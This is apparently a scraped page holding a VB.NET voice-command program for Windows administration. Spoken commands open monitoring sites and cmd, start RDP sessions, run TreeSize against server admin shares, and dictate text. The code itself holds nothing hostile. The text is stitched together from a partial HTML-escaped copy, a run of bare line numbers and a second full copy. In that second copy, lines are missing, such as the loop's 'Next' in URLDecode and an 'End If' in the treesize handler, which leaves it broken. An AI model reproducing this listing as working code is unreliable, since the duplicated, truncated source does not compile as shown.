            TreeSizeGrammerBuilder.Append(ch_drive, 0, 1)
            'rdpGrammerBuilder.AppendDictation("spelling")
            Dim TreeSizeGrammer As New Grammar(TreeSizeGrammerBuilder)
            sre.LoadGrammarAsync(TreeSizeGrammer)
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Console.ReadLine()
        End Try
    End Function
    Public Function URLDecode(ByVal Source As String) As String
        Dim x As Integer = 0
        Dim CharVal As Byte = 0
        Dim sb As New System.Text.StringBuilder()
        For x = 0 To (Source.Length - 1)
            Dim c As Char = Source(x)
            'Check for space
            If (c = "+") Then
                sb.Append(" ")
            ElseIf c &lt;&gt; "%" Then
                'Not hex value so add the chars to string builder.
                sb.Append(c)
            Else
                'Convert hex value to char value.
                CharVal = Int("&amp;H" &amp; Source(x + 1) &amp; Source(x + 2))
                'Add the chars to string builder.
                sb.Append(Chr(CharVal))
                'INC by 2
                x += 2
            End If
        Next
        'Return the string.
        Return sb.ToString()
    End Function
    ' Main
    WithEvents DictationRecognition As SpeechRecognitionEngine
    Dim IsDicatating As Boolean = False
    Private Sub sre_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs)
        Dim txt As String = e.Result.Text
        Dim confidence As Single = e.Result.Confidence
        Console.WriteLine(Convert.ToString(vbLf &amp; "Recognized: ") &amp; txt)
        If confidence &lt; 0.7 Then
            Return
        End If
        If txt.IndexOf("dictat") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "on"
                    IsDicatating = True
                    sre.UnloadAllGrammars()
                    Dim ch_StartStopCommands As New Choices()
                    ch_StartStopCommands.Add("dictate off")
                    Dim gb_StartStop As New GrammarBuilder()
                    gb_StartStop.Append(ch_StartStopCommands)
                    Dim g_StartStop As New Grammar(gb_StartStop)
                    'sre.LoadGrammarAsync(g_StartStop)
                    DictationRecognition = New SpeechRecognitionEngine(New System.Globalization.CultureInfo("en-US"))
                    Dim dg As New DictationGrammar("grammar:dictation")
                    dg.Name = "default dictation"
                    dg.Enabled = True
                    DictationRecognition.LoadGrammar(dg)
                    DictationRecognition.SetInputToDefaultAudioDevice()
                    DictationRecognition.RecognizeAsync(RecognizeMode.Multiple)
                Case "off"
                    If IsDicatating Then
                        DictationRecognition.UnloadAllGrammars()
                        DictationRecognition.Dispose()
                        LoadGrammer()
                        IsDicatating = False
                    Else
                        Return
                    End If
            End Select
        End If
        If txt.IndexOf("explorer") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "provision"
                    Process.Start("\\vmServer\c$\Program Files\proVision")
            End Select
        End If
        If txt.IndexOf("open") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "notepad"
                    Process.Start("notepad++")
                Case "datacenter"
                    Process.Start("https://mydatacenter/")
                Case "prtg"
                    Process.Start("https://prtg/")
                Case "nagios"
                    Process.Start("https://nagios/")
                Case "cacti"
                    Process.Start("https://cacti")
                Case "eye es portal"
                    Process.Start("https://isportal/")
                Case "infoblox"
                    Process.Start("https://infoblox/ui/")
                Case "command"
                    Process.Start("cmd")
            End Select
        End If
        If txt.IndexOf("rdp") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            If words.Length = 5 Then
                words(3) = words(3).Substring(0, 1) &amp; words(4)
            End If
            Dim MyCreated As String = "mstsc /v:" &amp; words(1) &amp; words(2) &amp; words(3) &amp; " /f"
            Process.Start("mstsc", "/v:" &amp; words(1) &amp; words(2) &amp; words(3) &amp; " /f")
        End If
        If txt.IndexOf("treesize") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            If words.Length = 6 Then
                words(3) = words(3).Substring(0, 1) &amp; words(4)
                Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" &amp; words(1) &amp; words(2) &amp; words(3) &amp; "\" &amp; words(5) &amp; "$")
            Else
                Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" &amp; words(1) &amp; words(2) &amp; words(3) &amp; "\" &amp; words(4) &amp; "$")
            End If
        End If
        If txt.IndexOf("speech on") &gt;= 0 Then
            Console.WriteLine("Speech Is now ON")
            speechOn = True
        End If
        If txt.IndexOf("speech off") &gt;= 0 Then
            Console.WriteLine("Speech Is now OFF")
            speechOn = False
        End If
        If speechOn = False Then
            Return
        End If
        If txt.IndexOf("klatu") &gt;= 0 AndAlso txt.IndexOf("barada") &gt;= 0 Then
            DirectCast(sender, SpeechRecognitionEngine).RecognizeAsyncCancel()
            done = True
            Console.WriteLine("(Speaking: Farewell)")
            ss.Speak("Farewell")
        End If
        If txt.IndexOf("What") &gt;= 0 AndAlso txt.IndexOf("plus") &gt;= 0 Then
            Dim words As String() = txt.Split(" "c)
            Dim num1 As Integer = Integer.Parse(words(2))
            Dim num2 As Integer = Integer.Parse(words(4))
            Dim sum As Integer = num1 + num2
            Console.WriteLine("Test")
            Console.WriteLine("Speaking: " &amp; words(2) &amp; " plus " &amp; words(4) &amp; " equals " &amp; sum &amp; ")")
            ss.SpeakAsync(words(2) &amp; " plus " &amp; words(4) &amp; " equals " &amp; sum)
        End If
    End Sub
    Private Sub DictationRecognition_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs) Handles DictationRecognition.SpeechRecognized
        Debug.WriteLine("SpeechRecognized: " &amp; e.Result.Confidence &amp; " - " &amp; e.Result.Text)
        If e.Result.Confidence &gt; 0.55 Then
            System.Windows.Forms.SendKeys.SendWait(e.Result.Text)
        End If
    End Sub
    Private Sub DictationRecognition_SpeechDetected(sender As Object, e As SpeechDetectedEventArgs) Handles DictationRecognition.SpeechDetected
        Debug.WriteLine("SpeechDetected: " &amp; e.AudioPosition.Seconds)
    End Sub
    Private Sub DictationRecognition_RecognizeCompleted(sender As Object, e As RecognizeCompletedEventArgs) Handles DictationRecognition.RecognizeCompleted
        Debug.WriteLine("RecognizeCompleted: " &amp; e.Result.Confidence &amp; " - " &amp; e.Result.Text)
    End Sub
    Private Sub DictationRecognition_SpeechHypothesized(sender As Object, e As SpeechHypothesizedEventArgs) Handles DictationRecognition.SpeechHypothesized
        Debug.WriteLine("SpeechHypothesized: " &amp; e.Result.Confidence &amp; e.Result.Text)
    End Sub
    Private Sub DictationRecognition_SpeechRecognitionRejected(sender As Object, e As SpeechRecognitionRejectedEventArgs) Handles DictationRecognition.SpeechRecognitionRejected
        Debug.WriteLine("SpeechRecognitionRejected: " &amp; e.Result.Text)
    End Sub
    Private Sub DictationRecognition_LoadGrammarCompleted(sender As Object, e As LoadGrammarCompletedEventArgs) Handles DictationRecognition.LoadGrammarCompleted
        Debug.WriteLine("Grammer Completed: " &amp; e.Grammar.Name)
    End Sub
End Module

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

Imports System.Globalization

Imports System.Speech

Imports System.Speech.Recognition

Imports System.Speech.Synthesis

Module Module1

Dim ss As New SpeechSynthesizer()

Dim sre As SpeechRecognitionEngine

Dim done As Boolean = False

Dim speechOn As Boolean = True

Public Sub Main()

ss.SetOutputToDefaultAudioDevice()

ss.Speak("Starting")

Dim ci As New CultureInfo("en-us")

sre = New SpeechRecognitionEngine(ci)

sre.SetInputToDefaultAudioDevice()

AddHandler sre.SpeechRecognized, AddressOf sre_SpeechRecognized

LoadGrammer()

sre.RecognizeAsync(RecognizeMode.Multiple)

While done = False

End While

Try

Console.WriteLine(vbLf & "Hit <enter> to close shell" & vbLf)

Console.ReadLine()

Catch ex As Exception

Console.WriteLine(ex.Message)

Console.ReadLine()

End Try

End Sub

Private Function LoadGrammer()

Try

Dim ch_StartStopCommands As New Choices()

ch_StartStopCommands.Add("rdp")

ch_StartStopCommands.Add("speech on")

ch_StartStopCommands.Add("speech off")

ch_StartStopCommands.Add("Close")

Dim gb_StartStop As New GrammarBuilder()

gb_StartStop.Append(ch_StartStopCommands)

Dim g_StartStop As New Grammar(gb_StartStop)

sre.LoadGrammarAsync(g_StartStop)

Dim ch_boolean As New Choices()

ch_boolean.Add("dictate on")

ch_boolean.Add("dictate off")

ch_boolean.Add("dictation on")

ch_boolean.Add("dictation off")

Dim gb_dictate As New GrammarBuilder()

gb_dictate.Append(ch_boolean)

Dim g_dictate As New Grammar(gb_dictate)

sre.LoadGrammarAsync(g_dictate)

Dim ch_Numbers As New Choices()

ch_Numbers.Add("1")

ch_Numbers.Add("2")

ch_Numbers.Add("3")

ch_Numbers.Add("4")

Dim gb_WhatIsXplusY As New GrammarBuilder()

gb_WhatIsXplusY.Append("What Is")

gb_WhatIsXplusY.Append(ch_Numbers)

gb_WhatIsXplusY.Append("plus")

gb_WhatIsXplusY.Append(ch_Numbers)

Dim g_WhatIsXplusY As New Grammar(gb_WhatIsXplusY)

sre.LoadGrammarAsync(g_WhatIsXplusY)

Dim ch_servers As New Choices()

ch_servers.Add("fileshare users")

ch_servers.Add("provision")

ch_servers.Add("vmServer")

ch_servers.Add("file eye es people")

Dim explorerGrammerBuilder As New GrammarBuilder()

explorerGrammerBuilder.Append("explorer")

explorerGrammerBuilder.Append(ch_servers)

Dim explorerGrammer As New Grammar(explorerGrammerBuilder)

sre.LoadGrammarAsync(explorerGrammer)

Dim ch_apps As New Choices({"notepad", "hexeditor", "datacenter", "prtg", "cacti", "nagios", "eye es portal", "infoblox", "command"})

Dim openGrammerBuilder As New GrammarBuilder()

openGrammerBuilder.Append("open")

openGrammerBuilder.Append(ch_apps)

Dim openGrammer As New Grammar(openGrammerBuilder)

sre.LoadGrammarAsync(openGrammer)

Dim ch_rdp As New Choices({"vm", "nt"})

Dim ch_hundres As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "100", "200", "300", "400", "500", "600", "700", "800", "900"})

Dim ch_tens As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "eleven", "twelve", "thirteen", "fourteen", "fifthteen", "sixten", "seventeen", "eightteen", "nineteen", "20", "30", "40", "50", "60", "70", "80", "90"})

Dim ch_ones As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9"})

Dim rdpGrammerBuilder As New GrammarBuilder()

rdpGrammerBuilder.Append("rdp")

rdpGrammerBuilder.Append(ch_rdp)

rdpGrammerBuilder.Append(ch_hundres)

rdpGrammerBuilder.Append(ch_tens)

rdpGrammerBuilder.Append(ch_ones, 0, 1)

'rdpGrammerBuilder.AppendDictation("spelling")

Dim rdpGrammer As New Grammar(rdpGrammerBuilder)

sre.LoadGrammarAsync(rdpGrammer)

Dim ch_drive As New Choices({"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P"})

Dim TreeSizeGrammerBuilder As New GrammarBuilder()

TreeSizeGrammerBuilder.Append("treesize")

TreeSizeGrammerBuilder.Append(ch_rdp)

TreeSizeGrammerBuilder.Append(ch_hundres)

TreeSizeGrammerBuilder.Append(ch_tens)

TreeSizeGrammerBuilder.Append(ch_ones, 0, 1)

TreeSizeGrammerBuilder.Append(ch_drive, 0, 1)

'rdpGrammerBuilder.AppendDictation("spelling")

Dim TreeSizeGrammer As New Grammar(TreeSizeGrammerBuilder)

sre.LoadGrammarAsync(TreeSizeGrammer)

Catch ex As Exception

Console.WriteLine(ex.Message)

Console.ReadLine()

End Try

End Function

Public Function URLDecode(ByVal Source As String) As String

Dim x As Integer = 0

Dim CharVal As Byte = 0

Dim sb As New System.Text.StringBuilder()

For x = 0 To (Source.Length - 1)

Dim c As Char = Source(x)

'Check for space

If (c = "+") Then

sb.Append(" ")

ElseIf c <> "%" Then

'Not hex value so add the chars to string builder.

sb.Append(c)

Else

'Convert hex value to char value.

CharVal = Int("&H" & Source(x + 1) & Source(x + 2))

'Add the chars to string builder.

sb.Append(Chr(CharVal))

'INC by 2

x += 2

End If

'Return the string.

Return sb.ToString()

End Function

' Main

WithEvents DictationRecognition As SpeechRecognitionEngine

Dim IsDicatating As Boolean = False

Private Sub sre_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs)

Dim txt As String = e.Result.Text

Dim confidence As Single = e.Result.Confidence

Console.WriteLine(Convert.ToString(vbLf & "Recognized: ") & txt)

If confidence < 0.7 Then

Return

End If

If txt.IndexOf("dictat") >= 0 Then

Dim words As String() = txt.Split(" "c)

Select Case words(1)

Case "on"

IsDicatating = True

sre.UnloadAllGrammars()

Dim ch_StartStopCommands As New Choices()

ch_StartStopCommands.Add("dictate off")

Dim gb_StartStop As New GrammarBuilder()

gb_StartStop.Append(ch_StartStopCommands)

Dim g_StartStop As New Grammar(gb_StartStop)

'sre.LoadGrammarAsync(g_StartStop)

DictationRecognition = New SpeechRecognitionEngine(New System.Globalization.CultureInfo("en-US"))

Dim dg As New DictationGrammar("grammar:dictation")

dg.Name = "default dictation"

dg.Enabled = True

DictationRecognition.LoadGrammar(dg)

DictationRecognition.SetInputToDefaultAudioDevice()

DictationRecognition.RecognizeAsync(RecognizeMode.Multiple)

Case "off"

If IsDicatating Then

DictationRecognition.UnloadAllGrammars()

DictationRecognition.Dispose()

LoadGrammer()

IsDicatating = False

Else

Return

End If

End Select

End If

If txt.IndexOf("explorer") >= 0 Then

Dim words As String() = txt.Split(" "c)

Select Case words(1)

Case "provision"

Process.Start("\\vmServer\c$\Program Files\proVision")

End Select

End If

If txt.IndexOf("open") >= 0 Then

Dim words As String() = txt.Split(" "c)

Select Case words(1)

Case "notepad"

Process.Start("notepad++")

Case "datacenter"

Process.Start("https://mydatacenter/")

Case "prtg"

Process.Start("https://prtg/")

Case "nagios"

Process.Start("https://nagios/")

Case "cacti"

Process.Start("https://cacti")

Case "eye es portal"

Process.Start("https://isportal/")

Case "infoblox"

Process.Start("https://infoblox/ui/")

Case "command"

Process.Start("cmd")

End Select

End If

If txt.IndexOf("rdp") >= 0 Then

Dim words As String() = txt.Split(" "c)

If words.Length = 5 Then

words(3) = words(3).Substring(0, 1) & words(4)

End If

Dim MyCreated As String = "mstsc /v:" & words(1) & words(2) & words(3) & " /f"

Process.Start("mstsc", "/v:" & words(1) & words(2) & words(3) & " /f")

End If

If txt.IndexOf("treesize") >= 0 Then

Dim words As String() = txt.Split(" "c)

If words.Length = 6 Then

words(3) = words(3).Substring(0, 1) & words(4)

Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(5) & "$")

Else

Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(4) & "$")

End If

If txt.IndexOf("speech on") >= 0 Then

Console.WriteLine("Speech Is now ON")

speechOn = True

End If

If txt.IndexOf("speech off") >= 0 Then

Console.WriteLine("Speech Is now OFF")

speechOn = False

End If

If speechOn = False Then

Return

End If

If txt.IndexOf("klatu") >= 0 AndAlso txt.IndexOf("barada") >= 0 Then

DirectCast(sender, SpeechRecognitionEngine).RecognizeAsyncCancel()

done = True

Console.WriteLine("(Speaking: Farewell)")

ss.Speak("Farewell")

End If

If txt.IndexOf("What") >= 0 AndAlso txt.IndexOf("plus") >= 0 Then

Dim words As String() = txt.Split(" "c)

Dim num1 As Integer = Integer.Parse(words(2))

Dim num2 As Integer = Integer.Parse(words(4))

Dim sum As Integer = num1 + num2

Console.WriteLine("Test")

Console.WriteLine("Speaking: " & words(2) & " plus " & words(4) & " equals " & sum & ")")

ss.SpeakAsync(words(2) & " plus " & words(4) & " equals " & sum)

End If

End Sub

Private Sub DictationRecognition_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs) Handles DictationRecognition.SpeechRecognized

Debug.WriteLine("SpeechRecognized: " & e.Result.Confidence & " - " & e.Result.Text)

If e.Result.Confidence > 0.55 Then

System.Windows.Forms.SendKeys.SendWait(e.Result.Text)

End If

End Sub

Private Sub DictationRecognition_SpeechDetected(sender As Object, e As SpeechDetectedEventArgs) Handles DictationRecognition.SpeechDetected

Debug.WriteLine("SpeechDetected: " & e.AudioPosition.Seconds)

End Sub

Private Sub DictationRecognition_RecognizeCompleted(sender As Object, e As RecognizeCompletedEventArgs) Handles DictationRecognition.RecognizeCompleted

Debug.WriteLine("RecognizeCompleted: " & e.Result.Confidence & " - " & e.Result.Text)

End Sub

Private Sub DictationRecognition_SpeechHypothesized(sender As Object, e As SpeechHypothesizedEventArgs) Handles DictationRecognition.SpeechHypothesized

Debug.WriteLine("SpeechHypothesized: " & e.Result.Confidence & e.Result.Text)

End Sub

Private Sub DictationRecognition_SpeechRecognitionRejected(sender As Object, e As SpeechRecognitionRejectedEventArgs) Handles DictationRecognition.SpeechRecognitionRejected

Debug.WriteLine("SpeechRecognitionRejected: " & e.Result.Text)

End Sub

Private Sub DictationRecognition_LoadGrammarCompleted(sender As Object, e As LoadGrammarCompletedEventArgs) Handles DictationRecognition.LoadGrammarCompleted

Debug.WriteLine("Grammer Completed: " & e.Grammar.Name)

End Sub

End Module